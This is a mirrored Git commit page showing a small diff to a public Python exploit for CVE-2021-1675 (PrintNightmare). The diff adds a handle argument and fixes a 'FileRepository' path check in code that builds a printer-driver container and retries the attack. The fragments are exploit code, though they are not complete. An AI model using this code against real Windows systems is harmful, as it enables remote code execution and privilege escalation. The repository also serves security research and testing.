1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-12-22 10:46:32 +00:00
This commit is contained in:
cube0x0 2021-07-03 15:47:38 +02:00 committed by GitHub
parent bab7974d75
commit 9938ba9075
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -66,7 +66,7 @@ def getDrivers(dce, handle=NULL):
return blob return blob
def main(dce, pDriverPath, share): def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package #build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER() container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2 container_info['Level'] = 2
@ -157,7 +157,7 @@ Example;
try: try:
blob = getDrivers(dce, handle) blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "filerepository" in pDriverPath: if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually") print("[-] Specify pDriverPath manually")
sys.exit(1) sys.exit(1)
@ -177,4 +177,4 @@ Example;
print("[*] Try 2...") print("[*] Try 2...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath,options.share)
print("[*] Try 3...") print("[*] Try 3...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath,options.share)